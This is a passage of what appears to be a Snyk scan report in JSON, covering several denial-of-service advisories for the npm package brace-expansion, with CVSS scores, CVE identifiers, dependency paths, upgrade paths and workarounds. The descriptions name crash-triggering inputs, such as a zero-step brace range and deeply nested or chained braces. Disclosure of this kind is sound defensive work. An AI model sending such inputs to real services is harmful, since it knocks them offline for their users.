"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
